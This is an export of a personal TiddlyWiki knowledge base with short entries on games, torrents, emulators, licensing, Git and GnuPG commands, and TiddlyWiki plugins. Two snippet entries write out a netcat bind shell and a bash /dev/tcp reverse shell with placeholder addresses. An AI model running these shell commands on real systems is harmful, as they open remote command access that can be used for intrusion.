{"created":"20210719102404282","text":"\\define program() [prefix[$:/ThirdParty/TiddlyTools/FilterGenerators]] [[$:/ThirdParty/TiddlyTools/Macros/edit-list]] +[!sort[modified]]\n\n\\define import(tids)\nDrag this link to\n\u003C$button class=\"tc-btn-invisible tc-tiddlylink\" popup=\"$:/state/popup/$(currentTiddler)$/$tids$\" dragFilter=\u003C\u003C$tids$>>>\n ''import \u003C$count filter=\u003C\u003C$tids$>>/> $tids$ tiddlers.''\n\u003C/$button>\n\u003C$reveal type=\"popup\" state=\"$:/state/popup/$(currentTiddler)$/$tids$\" class=\"tc-drop-down\" style=\"padding:1em;\">\n \u003C$list filter=\u003C\u003C$tids$>>>\u003C$link/>\u003C/$list>\n\u003C/$reveal>\n\\end\n\n| author|''[ext[Eric Shulman|mailto:elsdesign@gmail.com]]''|\n| source|''http://TiddlyTools.com/filtergenerators.html''|\n| updated|''\u003C$view field=\"modified\" format=\"date\" template=\"DDD, MMM DDth YYYY at 0hh12:0mm:0ssam\"/>''|\n\n\u003C\u003Cimport program>>\n\n~TiddlyTools' ~FilterGenerators define several $:/AdvancedSearch addon tabs to provide a variety of specialized searches.\n\n!! [[$:/ThirdParty/TiddlyTools/FilterGenerators/Titles]]\n\u003C\u003C\u003C\n''Search for tiddler titles in selected types of tiddlers''\n\n* Finds tiddlers that contain the specified text anywhere in their title\n* Select one or more types of tiddlers to search in:\u003Cbr> tiddlers, shadows, system, tags, missing, orphans, images, binaries\n\u003C\u003C\u003C\n\n!! [[$:/ThirdParty/TiddlyTools/FilterGenerators/Tags]]\n\u003C\u003C\u003C\n''Search for tiddlers using a combination of tags''\n\n* Shows checkboxes for all tags in the file, including shadow tags\n* Select any combination of tags to search for\n* Shows results matching all tags (AND) and one or more tags (OR)\n\u003C\u003C\u003C\n\n!! [[$:/ThirdParty/TiddlyTools/FilterGenerators/TagCloud]]\n\u003C\u003C\u003C\n''Display tags using proportional size based on the number of tiddlers for each tag''\n\n* Select tags to include\n* Shows number of matching tiddlers on each tag \"pill\"\n* Sort results by tag title or number of matching tiddlers\n* options: min=minimum font size, step=font size increment, max=maximum font size, group=tag count cluster size\n\u003C\u003C\u003C\n\n!! [[$:/ThirdParty/TiddlyTools/FilterGenerators/PowerSearch]]\n\u003C\u003C\u003C\n''Assemble a compound filter to search for matching tiddlers''\n\u003Cbr>Requires: [[TiddlyTools/Macros/edit-list]]\n\n* select types of tiddlers to search\n* include/exclude prefixes, suffixes or tags\n* find tiddlers that have a specific field (even if blank)\n* search in one or more specified fields\n* use flags to define the search criteria\n* sort results by any tiddler field\n* copy the assembled filter syntax to the clipboard\n* save assembled filters for later re-use\n* add/remove tags, clone/rename, export, or delete matching/selected tiddlers\n\u003C\u003C\u003C","title":"$:/ThirdParty/TiddlyTools/FilterGenerators/Info","modified":"20230109220740719","tags":"TiddlyTools"},
{"created":"20140114170004978","text":"Credits: [[https://tw5magick.tiddlyspot.com]]\n\nThis great trick was shown to the tiddlywiki google group by [[Alberto Molina|https://groups.google.com/forum/#!topic/tiddlywiki/OCntQ79DuwM]]. I enhanced it a bit.\n\n|!Search tag: | \u003C$edit-text tiddler=\"$:/temp/RenameTags/search\" tag=\"input\" type=\"text\"/> |\n|!Replace by: | \u003C$edit-text tiddler=\"$:/temp/RenameTags/replace\" tag=\"input\" type=\"text\"/> |\n\n---\n\u003C$reveal type=\"nomatch\" text=\"\" state=\"$:/temp/RenameTags/replace\">\n\n!First step\n!!//Apply the tag \u003C$tiddler tiddler={{$:/temp/RenameTags/replace}}>\u003C$transclude tiddler=\"$:/core/ui/TagTemplate\"/>\u003C/$tiddler> to the following tiddlers//\n\u003C$list filter=\"[!has[draft.of]tag{$:/temp/RenameTags/search}!tag{$:/temp/RenameTags/replace}sort[created]]\">\n\u003C$checkbox tag={{$:/temp/RenameTags/replace}}> \u003C$link to={{!!title}}>\u003C$view field=\"title\"/>\u003C/$link>\u003C/$checkbox>\u003Cbr/>\n\u003C/$list>\n\u003C/$reveal>\n\n\u003C$reveal type=\"nomatch\" text=\"\" state=\"$:/temp/RenameTags/search\">\n\n!Second step\n!!//Remove the tag \u003C$tiddler tiddler={{$:/temp/RenameTags/search}}>\u003C$transclude tiddler=\"$:/core/ui/TagTemplate\"/>\u003C/$tiddler> from the following tiddlers//\n\u003C$list filter=\"[!has[draft.of]tag{$:/temp/RenameTags/search}tag{$:/temp/RenameTags/replace}sort[created]]\">\n\u003C$checkbox tag={{$:/temp/RenameTags/search}}> ~~\u003C$link to={{!!title}}>\u003C$view field=\"title\"/>\u003C/$link>~~\u003C/$checkbox>\u003Cbr/>\n\u003C/$list>\n\u003C/$reveal>","title":"$:/Tools/RenameTags","tags":"","modifier":"Stephan Hradek","modified":"20220926114819573","description":"A great trick invented by Alberto Molina to search and replace tags.","creator":"Stephan Hradek"},
{"created":"20220923133930693","text":"''1337x'' is a [[torrent|BitTorrent:en]] search engine.\n\n[img[https://upload.wikimedia.org/wikipedia/commons/b/bb/1337X_logo.svg]]\n\nIn recent years, the service has become more popular than some of its older alternatives, in part thanks to some of its quality-ensuring rules.\n\nThe site features text search, categories, and user profiles.","tags":"Internet i18n:en","title":"1337x:en","modified":"20220926115014338"},
{"created":"20230111153852789","text":"\u003C\u003CMediaWiki 2048_(video_game) en 1>>\n\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://play2048.co\">>","tags":"i18n:en TODO Gaming Puzzle","title":"2048:en","modified":"20230113175835321"},
{"created":"20230108192258947","text":"\u003C\u003CMediaWiki ActivityPub en 1>>","title":"ActivityPub:en","modified":"20230111152725841","tags":"TODO"},
{"created":"20230110225425199","text":"\u003C\u003CMediaWiki Animal_Crossing en 2>>","tags":"Nintendo i18n:en Gaming TODO","title":"Animal Crossing:en","modified":"20230111152734576"},
{"created":"20220922205247845","text":"Collection of miscellaneous articles I read around the Web and found nice.\n\n!!! 2022-09-23\n* [[The sum of all knowledge and the sorry state of the web|https://christianheilmann.com/2022/08/29/the-sum-of-all-knowledge]]\n\n!!! 2022-09-22\n* [[Lose Weight the Slow and Incredibly Difficult Way|https://nautil.us/lose-weight-the-slow-and-incredibly-difficult-way-239703/]] - //Trying to answer a silly question can take you through some serious science.//","tags":"Reading i18n:en","title":"Articles","modified":"20220926115012451"},
{"created":"20221105114920520","text":"''Base64'' is a 8-bit-binary to text data encoding scheme.\n\nDue to the format using a character set of 64 characters, representable by 6 bits, a minimal b64 block is ''24 bits'' large (lcm(8,6)), which is 3 binary bytes, or 4 b64 text characters.","tags":"i18n:en","title":"Base64:en","modified":"20221105120759433"},
{"created":"20220923190200484","text":"''BitTorrent'' is an open [[peer-to-peer|peer-to-peer:en]] file sharing protocol. It is expecially common among the [[free sharing]] community.\n\nIts only requirement for each user is a client application, meaning that efficiently sharing with BitTorrent is effectively free, since a beefy server isn't needed to make the content circulate.\n\nFor this reason, the protocol is most commonly used to share large files that have a lot of people requesting them, such as movies, operating systems, and videogames.\n\nThis kind of information would be usually expensive to share using a traditional client-server infrastructure, but with BitTorrent every client can seed (send) data to other requesting clients, exponentially optimizing delivery.","tags":"Internet BitTorrent P2P i18n:en","title":"BitTorrent:en","modified":"20220926115016291"},
{"created":"20230112100848709","text":"\u003C\u003CMediaWiki Celeste_(video_game) en 3>>","tags":"Gaming i18n:en TODO Platformer","title":"Celeste:en","modified":"20230112103911502"},
{"created":"20220925131851817","text":"!! Creative Commons\n\n!!! ''Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)''\n\nThis is a human-readable summary of (and not a substitute for) the [[license|https://creativecommons.org/licenses/by-sa/4.0/legalcode]].\n\n\u003Cdetails>\n\u003Csummary>Disclaimer\u003C/summary>\n\u003Cp>This deed highlights only some of the key features and terms of the actual license. It is not a license and has no legal value. You should carefully review all of the terms and conditions of the actual license before using the licensed material.\u003C/p>\n\n\u003Cp>Creative Commons is not a law firm and does not provide legal services. Distributing, displaying, or linking to this deed or the license that it summarizes does not create a lawyer-client or any other relationship.\u003C/p>\n\u003C/details>\n\n[img[$:/ThirdParty/Buttons/CC BY-SA.svg]]\n\n!!!'' You are free to:''\n\n''Share'' — copy and redistribute the material in any medium or format\n\n''Adapt'' — remix, transform, and build upon the material\nfor any purpose, even commercially.\n\nThe licensor cannot revoke these freedoms as long as you follow the license terms.\n\n!!! ''Under the following terms:''\n\n''Attribution'' — You must give appropriate credit, provide a link to the license, and indicate if changes were made. You may do so in any reasonable manner, but not in any way that suggests the licensor endorses you or your use.\n\n''ShareAlike'' — If you remix, transform, or build upon the material, you must distribute your contributions under the same license as the original.\n\n''No additional restrictions'' — You may not apply legal terms or technological measures that legally restrict others from doing anything the license permits.\n\n!!! ''Notices:''\nYou do not have to comply with the license for elements of the material in the public domain or where your use is permitted by an applicable exception or limitation.\n\nNo warranties are given. The license may not give you all of the permissions necessary for your intended use. For example, other rights such as publicity, privacy, or moral rights may limit how you use the material.","title":"Creative Commons/BY-SA 4.0:en","modified":"20230112094422566","tags":"i18n:en TODO"},
{"created":"20230113095118172","text":"''[[Eruda|https://eruda.liriliri.io]]'' is an open-source JavaScript applet for Web browsers, created to bring developer tools to those that lack them (like mobile ones). It provides the following features (from the project's README):\n\n* Console: Display JavaScript logs and run commands\n* Elements: Check the DOM's state\n* Network: Show requests status\n* Resources: Show localStorage and cookie information\n* Info: Show URL and user agent info\n* Snippets: Include snippets used most often\n* Sources: HTML/CSS/JS, source code viewer\n\n!!! ''More Resources''\n\n* Source Code and Documentation: [[github.com/liriliri/eruda|https://github.com/liriliri/eruda]]\n* \u003Ch3> ➡️\n\u003Ca href=\"\njavascript:(\nfunction () {\n if (!document.getElementById('eruda-main')) {\n var elem = document.createElement('script');\n elem.id = 'eruda-main';\n elem.src = 'https://cdn.jsdelivr.net/npm/eruda';\n document.body.appendChild(elem);\n elem.onload = function () {\n eruda.init();\n };\n };\n})();\">Inject Eruda into this page\u003C/a>\n\u003C/h3>","tags":"TODO i18n:en Apps","title":"Eruda:en","modified":"20230113230810190"},
{"created":"20220923195125955","text":"''Free sharing'' is a philosophy founded on the belief that: every kind of information that is created to be publicly available has to be shareable by anyone without any restrictions.\n\nThe reasoning behind this philosophy is that the whole of humanity can benefit, in the long run, if each person creating works of culture puts aside their egoistic desires of wealth and power, and instead decides to explicitly allow anyone to freely share the works in question.\n\nPeople who believe in free sharing not only often choose to leave freedom of sharing what they create to the world, but also engage in mutual exchanges of public information that is officially not free (usually, hidden behind paywalls and/or licenses that don't allow redistribution).\n\nThis last kind of behavior is not to be confused with [[computer piracy]], which is a term indicating either the unauthorized redistribution of digital content with the main scope of monetary gain, and not the spirit of sharing for bettering humanity, or in general the perpetration of any illegal activity through the use of computer systems or regarding those.","tags":"i18n:en","title":"Free sharing","modified":"20230109135813770"},
{"created":"20230113105935789","text":"\u003C\u003CMediaWiki Friendica en 2>>","tags":"i18n:en TODO Fediverse","title":"Friendica:en","modified":"20230113110013794"},
{"created":"20221018083042590","text":"!!! ''Commands (+ Flags/Tips)''\n\n* `clone ${URL}`: Clone (download) a repo to the computer storage\n** `--depth=${n}`: Explicitly specify how many commits to download (starting from latest)\n\n* `add ${Path}`: Update Git's internal list of tracked files. This should be issued (ideally for the root directory, `.`) before trying to commit after creating/deleting/moving/renaming files/folders.\n** A `.gitignore` file, containing a list of files or folder paths (one per line) can be created in a repo's root, to make the `add` command ignore those: they won't be tracked by Git, and thus won't be committed or pushed. Note: adding already tracked paths to `.gitignore` doesn't make it so they stop being tracked, they must be manually be deleted and then the `add` command issued again.\n\n* `config`\n** `credential.helper store`\n\n!!! ''Miscellaneous Flags''\n\n* `--global`: Apply a config command to the global user configuration (omitting applies to current directory if it is a Git repo)","tags":"Snippets i18n:en","title":"Git/Snippets","modified":"20221105130334227"},
{"created":"20221105125144413","text":"!!! ''Commands (+ Flags/Tips)''\n* `--list-keys`: List installed keys.\n* `--import Public.pgp`: Import someone's public key.\n* `--gen-key`: Generate a new keypair, with default options.\n* `--full-generate-key`: Generate a new keypair, customizing all the options.\n* `--edit-key {FINGERPRINT}`: Edit the internal data of a key.\n* `--output Revoke.pgp --gen-revoke {FINGERPRINT}`: Generate and output the revoke certificate for a key.\n* `--output Public.pgp --export {USER@EMAIL}`: Export a public key file.\n* ⚠️ `--output Private.pgp --export-secret-key {USER@EMAIL}`: Export a private key file.\n* ⚠️ `--output BackupPrivate.pgp --export-secret-keys --export-options export-backup {USER@EMAIL}`: Export private key(s) in backup format.\n* `--import-options restore --import BackupPrivate.pgp`\n\n!!!! ''`--edit-key` Commands''\n* `list`: List identities of the keys.\n* `uid {n}`: Select an identity to operate on.\n* `notation`: Write new notations inside the key; Prepend a dash (`-`) when typing a notations to remove it from the key, if present; Type just `none` to delete all notations.\n* `save`: Write changes to the key and quit.\n\n!!!! ''`--export` Flags''\n* `--armor`: Explicitly export as ASCII-armored, aka in text format.\n\n!!! ''Configuration Options''\n\n//These are usually inserted one-per-line in `~/gpg.conf`.//\n\n* `keyserver {URL}`","tags":"Snippets i18n:en","title":"GnuPG/Snippets","modified":"20221105173958587"},
{"created":"20220922204301052","text":"Interesting news I collect from the hacky tech Internet sphere (HN primarily, but not exclusively).\n\n* [[TOTP tokens on my wrist with the smartest dumb watch|https://blog.singleton.io/posts/2022-10-17-otp-on-wrist]]\n* [[Boeing 787s must be turned off and on every 51 days to prevent 'misleading data' being shown to pilots|https://www.theregister.com/2020/04/02/boeing_787_power_cycle_51_days_stale_data]]\n* [[Disposable Root Servers|https://blog.thc.org/disposable-root-servers]]\n* [[Neurons in a dish learn to play Pong — what’s next?|https://www.nature.com/articles/d41586-022-03229-y]]\n* [[retrowin32, a win32 emulator|https://neugierig.org/software/blog/2022/10/retrowin32.html]]\n* [[Ray Tracing In Notepad.exe At 30 FPS|http://kylehalladay.com/blog/2020/05/20/Rendering-With-Notepad.html]]\n* [[You can't buy a Raspberry Pi right now|https://www.jeffgeerling.com/blog/2022/you-cant-buy-raspberry-pi-right-now]]\n* [[7 Cool HTML Elements Nobody Uses|https://tapajyoti-bose.medium.com/7-cool-html-elements-nobody-uses-436598d85668]]\n* [[Despite faster broadband every year, web pages don't load any faster|https://www.datafantic.com/how-much-time-do-we-waste-waiting-for-websites-to-load]] [//[[c|https://readhacker.news/c/5mBGU]]//]\n* [[Avoiding homework with code (and getting caught)|https://alistair.blog/mochip]] [//[[c|https://readhacker.news/c/5mBHL]]//]\n* [[Show HN: I made an open-source Bitly alternative|https://readhacker.news/c/5mzDH]]\n* [[If the Moon Were Only 1 Pixel (2014)|https://readhacker.news/c/5myKf]]","tags":"Reading i18n:en Tech","title":"Hacking News","modified":"20221018220810405"},
{"created":"20220923132359163","text":"The [[Internet Archive|https://archive.org]] is a website serving as free archive of digital items, with the intent of cultural preservation.\n\n[img[https://upload.wikimedia.org/wikipedia/commons/8/84/Internet_Archive_logo_and_wordmark.svg]]\n\nThe non-profit library is also known for its [[Wayback Machine|Wayback Machine:en]] service.","tags":"Archiving Internet i18n:en","title":"Internet Archive:en","modified":"20221110231031616"},
{"created":"20220927210105087","text":"Source: https://blog.archive.org/2012/04/26/downloading-in-bulk-using-wget\n\n!!! Prerequisites\n\n# Obtain [[Wget|https://www.gnu.org/software/wget]];\n\n# (Optional) For large collections, Install \"Copy Selected Links\" extension [[For Firefox|https://addons.mozilla.org/en-US/firefox/addon/copy-selected-links]];\n\n!!! Action\n\n# In a text file, Write a list of all item ids to be downloaded (the part after `/details/` in the URL);\n\n## Easy way to do this for collections: Select all links in the browser, Right-Click > Copy selected links, Paste in a text editor, Find all instances of `https://archive.org/details/`, replace with //nothing//, Save.\n\n# Use the following command:\n```sh\nwget -r -H -nc -np -nH --cut-dirs=1 -e robots=off -l1 -i \u003CPath-to-text-file> -B 'http://archive.org/download/'\n```\n\n!!!! Useful arguments\n\n* Whitelist or Blacklist mode for list of extensions (preceded by `.` (dot), separated by `,` (comma); Example: `.avif,.7z`)\n** `-A \u003CExtensions>`: Whitelist\n** `-R \u003CExtensions>`: Blacklist","tags":"i18n:en Snippets","title":"Internet Archive/Download bulk items (Wget)","modified":"20221110230509726"},
{"created":"20221107192628249","text":"''ISO 8601'' is a date/time format standard designed for international adoption, by featuring a logical, unambiguous notation.\n\nIt was first published in 1988, but got some revisions in following years.\n\nIts complete form is the following, but the standard allows for dashes (`-`), colons (`:`), and the final time zone indicator to be omitted:\n\n`YYYY-MM-DD`T`hh:mm:ss`+hh:mm","tags":"i18n:en","title":"ISO 8601:en","modified":"20221107193603014"},
{"created":"20221110145611678","text":"''JavaScript'', or \"JS\", is an high-level programming language. It constitutes a core technology of the Web, sitting optionally alongside HTML and CSS. In recent years, it has gotten more and more popular even for desktop app and backend development.","tags":"Development i18n:en Internet","title":"JavaScript:en","modified":"20221110151535735"},
{"created":"20220923152137538","text":"[[johncena141|https://github.com/jc141x]] (jc141) is specialized in the field of compiling and distributing free repacks of current PC games for GNU+Linux.\n\nBefore their arrival to the GNU+Linux gaming scene in 2020-2021, obtaining known-safe and working repacks of games for the platform was a challenge, with native Linux repacks being almost impossible to find and Windows ones often not working.\n\nIn just about a year, johncena141 has become the most trusted repacker among GNU+Linux gamers, by putting the focus of their work directly and exclusively on GNU+Linux, as well as proving transparency and efficiency in their operations.","tags":"Gaming i18n:en","title":"johncena141:en","modified":"20220926115016387"},
{"created":"20221104183123144","text":"''Keyoxide'' is a libre, self-hostable tool to create and verify online identities, like different profiles, through cryptography.\n\n* Website, docs, and official instance: https://keyoxide.org\n* Source code: https://codeberg.org/keyoxide","tags":"i18n:en","title":"Keyoxide:en","modified":"20221104183453300"},
{"created":"20230111153758951","text":"\u003C\u003CMediaWiki Linux en 5>>","tags":"i18n:en TODO","title":"Linux:en","modified":"20230111153845225"},
{"created":"20230111114229130","text":"* ''2023-01-10'' \u003Cdiv>\n\n; \"This group is unavailable due to copyright infringement.\"\n: TODO\n\u003C/div>\n","tags":"i18n:it TODO","title":"Lista Incidenti","modified":"20230111152012871"},
{"created":"20220923130111988","text":"[[MeBoy|http://arktos.se/meboy]] is a libre (GPLv2) [[Game Boy|Game Boy:en]] (and Game Boy color) emulator for the [[J2ME|J2ME:en]] platform.","tags":"Emulation Gaming Nintendo [[Game Boy]] i18n:en","title":"MeBoy:en","modified":"20220926115012739"},
{"created":"20220923104738517","text":"[[melonDS|https://melonds.kuribo64.net]] is (sort of) a libre [[Nintendo DS|Nintendo DS:en]] emulator.\n\n[img[https://raw.githubusercontent.com/melonDS-emu/melonDS/master/res/icon/melon_128x128.png]]\n\nOver the years of development, the emulator had time to become a mature melon.\n\nToday, while it still needs a lot of work before being complete, it's considered the best NDS emulator available, at least on PC.","tags":"Emulation Nintendo NDS Gaming i18n:en","title":"melonDS:en","modified":"20220926115012546"},
{"created":"20230112215325845","text":"\u003C\u003CMediaWiki Microsoft en 1>>","tags":"i18n:en TODO","title":"Microsoft:en","modified":"20230112221025051"},
{"created":"20230113110556145","text":"\u003C\u003CMediaWiki Miitomo en 2>>","tags":"i18n:en TODO","title":"Miitomo:en","modified":"20230113110628445"},
{"created":"20230110220407274","text":"\u003C\u003CMediaWiki Miiverse en 3>>","tags":"Internet Nintendo i18n:en TODO","title":"Miiverse:en","modified":"20230113110251048"},
{"created":"20221202225134930","text":"[[Misskey|https://misskey-hub.net/en]] is an open, semi-decentralized social media platform. Decentralization is founded on the [[ActivityPub|ActivityPub:en]] protocol.\n\n[img[https://raw.githubusercontent.com/misskey-dev/misskey/develop/assets/title_float.svg]]","tags":"Fediverse i18n:en","title":"Misskey:en","modified":"20221202225915631"},
{"created":"20221202224129631","text":"From https://unix.stackexchange.com/a/345628:\n\nRun on host to spawn a network-attached shell (requires bash due to coproc):\n\n```bash\ncoproc netcat -l -p $PORT\nexec bash \u003C&${COPROC[0]} >&${COPROC[1]} 2>&1\n```\n\nRun on client to connect to host:\n\n```sh\nnc $ADDRESS $PORT\n```","tags":"Snippets i18n:en","title":"netcat/Normal Shell","modified":"20221202225030515"},
{"created":"20220926095309988","text":"0. Run on master (requires netcat):\n\n```sh\nnc -l -vv -p $PORT\n```\n\n1. Run on slave:\n\n```sh\nbash -i &> /dev/tcp/$ADDRESS/$PORT 0>&1\n```","tags":"Snippets i18n:en","title":"netcat/Reverse Shell","modified":"20221202224522626"},
{"created":"20220923110724649","text":"''Nintendo DS'' is a family of portable game consoles created by [[Nintendo|Nintendo:en]], succeding and preceding the GBA and 3DS families respectively.\n\n\u003C\u003CLImg \"https://web.archive.org/web/20220923111238/http://pbs.twimg.com/media/E5An_LGVkAQv9ol?format=jpg&name=large\" \"https://twitter.com/HugeNintendoDS/status/1409670660402466819?cxt=HHwWhsCiueb_k5AnAAAA\">>","title":"Nintendo DS:en","modified":"20230108213456636","tags":"Gaming Nintendo NDS i18n:en"},
{"created":"20221018215927772","text":"!!! Moved\n\nMoved to https://cryptpad.devol.it/sheet/#/2/sheet/view/kcmKvZ03cftF2U9SMlMk8m4s5XRVIVkb0SZTZIDqvL8/embed/\n\n\u003Cdel>\n\n!!! ''Licensed Games''\n\n* ''Animal Crossing: Wild World'' • Top screen is required to see stars, flying balloons, and Gulliver. It also shows the title screen logo, and the 3D world when a menu is open. All gameplay, dialogues, and menus are on the bottom screen, and the stylus or the buttons can be used interchangeably.\n\n* ''Kirby: Mass Attack'' • Top screen shows title screen logo, some tooltips in game, and stats (level name, points, fruits, Kirbys, medals). Gameplay and menus are on bottom screen, and only controlled with the stylus.\n\n* ''Kirby: Power'' Paintbrush\n\n* [Patch] ''New Super Mario Bros.'' (Macro-Friendly)\n\n* [Partially] ''Nintendogs''\n\n* ''Picross 3D'' • Top screen holds text like menu details and guides (like the tutorials), and puzzle overviews (in the selection menu and while playing), with details and time. The gameplay itself is on the bottom screen, and requires stylus and D-Pad/ABXY. To play without a top screen, it's effectively necessary to learn the unique game mechanics elsewhere (like in video gameplays).\n\n* ''Picross DS'' • Top screen has some text, for menu items details, tutorials and explanations, overwiew of puzzles in the selection menu, and their status (as well as time) while playing them. Gameplay is on the bottom screen, and requires either the D-Pad, A, B buttons, or the stylus (as well as START to access the pause menu).\n\n* ''Pokemon Dash''\n\n* [?] ''Pokemon Link!''\n\n* ''Puyo Puyo!! 20th anniversary'' • Top screen has details for menu entries, some secondary dialogues (the story ones happen on the bottom), points and results, and decorative in-game character animations. Menus can be navigated with either the buttons or the touch screen; gameplay happens on the bottom screen with D-Pad and A/B buttons.\n\n* [?] ''Puzzle League DS''\n\n* ''Tetris DS''\n\n* ''The Legend of Zelda: Phantom Hourglass''\n\n* [?] ''The Legend of Zelda - Spirit Tracks''\n\n* [?] ''Tingle no Balloon Fight DS''\n\n* [?] ''WarioWare: Do It Yourself''\n\n* [?] ''WarioWare: Touched!''\n\n\n!!! ''Licensed Apps''\n\n* ''Nintendo DS Browser'' • Top screen shows software logos, current URL, WiFi signal status, loading animation, count of loaded/total page elements, random and contextual tooltips, and page scrollback buffer. Menu and web navigation happen entirely on the bottom screen, except when Panorama Mode (desktop view) is enabled. Navigation happens primarily with the stylus; buttons are supported only for some operations.\n\n\n!!! ''Homebrew Games''\n\n\n\n\n!!! ''Homebrew Apps''\n\n* ''Colors! DS'' • Top screen shows app logo while in the main menu, buttons legend while drawing, and the current drawing when opening a menu or optionally always. The touch screen is needed to select menu items, draw, and calibrate the digitizer; buttons are needed to operate drawing tools (moving, zooming, color picker, undo).\n\n\u003C/del>","tags":"Nintendo NDS Gaming i18n:en","title":"Nintendo DS/Software Requiring Only the Bottom Screen","modified":"20221020125346687"},
{"created":"20220925130302833","text":"''Nintendo Switch'' is a family of portable game consoles created by [[Nintendo|Nintendo:en]]. It is notorius for being made of [[papier-mâché|Papier-mâché]], essentially suffering from a variety of structural problems.\n\n\u003C\u003CLImg \"https://i.ytimg.com/vi_webp/Cb-srOfRqNc/maxresdefault.webp\" \"https://youtu.be/Cb-srOfRqNc\">>\n\nThe console's introduction was hyped due to it being the first ever Nintendo console to be created with both home and portable use in mind. The name itself comes from the fact that the console can //switch//, from being connected to a TV to being able to be used standalone.","tags":"Nintendo Gaming NX i18n:en","title":"Nintendo Switch:en","modified":"20230109105533455"},
{"created":"20230110214847556","text":"''[[Nitter|https://github.com/zedeus/nitter]]'' is a free and open source alternative [[Twitter|Twitter:en]] front-end focused on privacy and performance.\n\nQuoting from the project's README:\n\n\u003C\u003C\u003C\nInspired by the Invidious project.\n\n* No JavaScript or ads\n* All requests go through the backend, client never talks to Twitter\n* Prevents Twitter from tracking your IP or JavaScript fingerprint\n* Uses Twitter's unofficial API (no rate limits or developer account required)\n* Lightweight (60KB vs 784KB from twitter.com)\n* RSS feeds\n* Themes\n* Mobile support (responsive design)\n* AGPLv3 licensed, no proprietary instances permitted\n\u003C\u003C\u003C\n","tags":"Internet i18n:en TODO","title":"Nitter:en","modified":"20230111153740426"},
{"created":"20230111120518929","text":"\u003C\u003CMediaWiki Nonogram en 3>>\n\n!! ''Gamin' Time''\n\n\u003C\u003CiFrameFixed \"https://jokude.github.io/react-nonogram\">>","tags":"i18n:en TODO Gaming Puzzle","title":"Nonogram:en","modified":"20230113175921673"},
{"created":"20220920160642961","text":"!!! Macros\n> \u003C\u003CTDirList $:/Macros 4>>\n\n!!! Theming\n> \u003C\u003CTDirList $:/Styles 4>>\n* [[$:/palettes/Octt Light]]\n\n!!! Modified system files\n* $:/StaticBanner (Shown as banner in statically exported pages)\n* $:/core/templates/static.content (Shown as static HTML content in the standard TiddlyWiki file)\n* $:/core/templates/exporters/StaticRiver (Added meta viewport for correct viewing on mobile) [[[Pull Request|https://github.com/Jermolene/TiddlyWiki5/pull/6953]]]\n* ~~$:/themes/tiddlywiki/vanilla (Changed paddings)~~","tags":"TiddlyWiki i18n:en OcttKB","title":"OcttKB/Hacks","modified":"20230112221919315"},
{"created":"20220924173239034","text":"All my //original content// on this website, unless where otherwise specified, is licensed under [[CC BY-SA 4.0|Creative Commons/BY-SA 4.0:en]].\n\nIt is a [[free culture]] license that promotes the benefits of making information available for anyone to learn from and build upon. However, be sure to know its terms before doing anything other than just consuming the site!\n\nYou can easily recognize which of the directly hosted (entirely contained in a //tiddler// itself, like text, string-encoded files, or standalone files in the file system) content is my original creation: it's anything that features no indication of source or license.\n\nUnless I forget to do so in specific instances, I always credit the source and/or specify the original license for anything upon which I don't hold 100% of the rights (even public domain content) and is a straight copy. I may not do so if the content in question is not directly copied //into// my site, but instead embedded from a Web space which is the property of another entity - in which case, a clickable link directing to the source will be present; if not, you can click the pencil-shaped (edit) button to read the source code for a specific //tiddler//, to discover possible external embed URLs.\n\nThe above is valid for all //content tiddlers// (those whose name does not start with `$:/`) and all //system tiddlers// created by me (not part of standard [[TiddlyWiki|TiddlyWiki:en]] or any of my [[installed plugins|$:/core/ui/ControlPanel/Plugins]]).\n\n//Non-original system tiddlers// which I never touched, obviously fall under their own license; but, for simplicity of operations, as well as to avoid accidentally claiming ownership on code not written by me, I hereby explicitly give away my copyright for //non-original system tiddlers// that I modified from their original state. This means you can consider those as always falling under their original license, even if I touched them; From another point of view, you can effectively consider any //diff// generated between the original version of a //system tiddler// and my modified version of the same file as falling under public domain.\n\n{{$:/OcttKB/LicensingButtons}}","tags":"i18n:en OcttKB","title":"OcttKB/Licensing","modified":"20230112094239424"},
{"created":"20230109220804304","text":"\u003C!--\n!! Clouds!\n\nAre these useless? ''Yes!'' But they are so pretty...\n\n{{$:/OcttKB/TagCloud}}\n--->\n\nI still have to put a lot of stuff here... see [[TiddlyWiki:en]]","tags":"i18n:en OcttKB","title":"OcttKB/Stats","modified":"20230111082547532"},
{"created":"20230109105615720","text":"\u003C\u003CMediaWiki Papier-mâché en 2>>","title":"Papier-mâché","modified":"20230109105630799","tags":"i18n:en"},
{"created":"20230108215508443","text":"\nA ''pubnix'' (public-unix) is a [[Unix|Unix:en]] server provided by any entity, without profit motives, to the general public. They usually exist for self-empowerment, recreational, and learning use.\n\nSome pubnixes are formally joined together in networks. One of the most popular active today is [[Tildeverse|https://tildeverse.org]].\n","tags":"i18n:en Internet Unix","title":"Pubnix:en","modified":"20230108220232499"},
{"created":"20221110120605389","text":"[[Python|https://www.python.org]] is a high-level, general-purpose, dynamically-typed, and garbage-collected programming language, with an extensive standard library and mandatory-indentation style.\n\n\u003Ca title=\"www.python.org, GPL <http://www.gnu.org/licenses/gpl.html>, via Wikimedia Commons\" href=\"https://commons.wikimedia.org/wiki/File:Python-logo-notext.svg\">\u003Cimg alt=\"Python-logo-notext\" src=\"https://upload.wikimedia.org/wikipedia/commons/c/c3/Python-logo-notext.svg\">\u003C/a>","tags":"i18n:en Development","title":"Python:en","modified":"20221110143925630"},
{"created":"20230113212036797","text":"\u003C\u003CMediaWiki qBittorrent en 1>>","tags":"TODO i18n:en","title":"qBittorrent:en","modified":"20230113212121140"},
{"created":"20220922200129612","text":"\u003C!-- \u003C\u003Ci18n>> --->\n\n\u003C!--\nIl ''Rasperino'' (''Raspberry Pi'') è il Single-Board-Computer più epico mai creato.\n--->\n\nIl ''Rasperino'' (''Raspberry Pi'') è un Single-Board-Computer ormai dimostratosi non all'altezza, sia a livello tecnico e pratico, sia per via di come l'azienda opera da più di un anno.\n\n[img[https://assets.raspberrypi.com/static/raspberry-pi-4-labelled-f5e5dcdf6a34223235f83261fa42d1e8.png]]\n\nPiù informazioni al suo riguardo sono disponibili sul sito ufficiale: [[https://www.raspberrypi.com]].\n\nSotto lo stesso nome di Raspberry Pi, la Raspberry Foundation crea anche dei microcontrollori, oltre che questo tipo di computer completi.","tags":"Raspberry i18n:it","title":"Rasperry Pi:it","modified":"20230111190331544","i18n":"RasperryPi"},
{"created":"20230109104506263","text":"\u003C\u003CMediaWiki Reddit en 1>>","tags":"i18n:en Internet TODO","title":"Reddit:en","modified":"20230113105723193"},
